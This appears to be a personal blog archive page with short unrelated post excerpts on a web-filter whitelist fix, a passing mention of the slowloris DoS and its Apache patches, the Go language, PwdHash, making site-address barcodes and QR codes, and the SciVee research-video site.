Clearly, Google Translate is not the only legitimate service which will trigger that rule.

Solution: The only solution I have found is to specify the whitelist regex for the php-URL-fopen rule.

Slow DoS attack with just 1 computer against a number of web servers, including Apache: slowloris. There is a solution for Apache, packaged for RedHat and also available for Debian.

Finally, there’s Go programming language. The most inspiring promise to me personally is the ease of execution parallelization with language’s built-in syntactic constructs. That is something highly desired. Also, I like that it is a compiled language. However, it might be 10%-20% slower than pure C. Let’s see how it grows.

Although I’m not using “single password for all sites”, PwdHash does look very convenient.

To help in this celebration, you can make a barcode with your site’s address (there is at least one more at barcodesinc, but at the moment of writing it is painfully slow).

I find these parameters nearly optimal:

• Type: Code 128-B
• Styles: Draw value text
• Size: 234×60 (half-banner size)
• Xres: 1
• Text font: 5
• Value: bogdan.org.ua

If you wish, you can also exactly replicate today’s Google logo – which says “Google”, as you could have guessed.

You can place this barcode on your “souvenirs” – pens, cups, t-shirts. Many phones now have barcode scanners (e.g. Nokia E71), so put this code onto your namecard.

Read on to learn about matrix barcodes.

You may also investigate further into matrix/2D codes, which may contain much more information. To the left is the QR code of my blog’s address – try and scan it with your cameraphone! Or make one for yourself.

Here’s an encrypted message:

There are many types of matrix/2D barcodes. QR code (above), datamatrix (left picture) and Semacode (right picture) were all successfully recognized by my phone.

I believe it is highly useful. Compare: watching an 8-10 minute video of someone’s research to reading their article on that same subject. For me, those 8-10 minutes make video option a clear winner.

One of the envisioned uses of SciVee is to upload videos describing peer-reviewed published articles. This has two benefits for the reader: quickly getting acquainted with the essence of the article, and having that article as a complete reference for any questions not discussed in the video. For the author, this gives an additional bonus of higher visibility of his research.

Personally, I’ve immediately found 3 videos pertinent to my topic. Of those, one was accompayning an article in PloS Biology, one was an hour-long lecture, and one was a poor quality audio recording of someone’s intended research.

SciVee is young, and that is currently the largest drawback: not much could be found in a narrow research field. But I’m sure it will grow.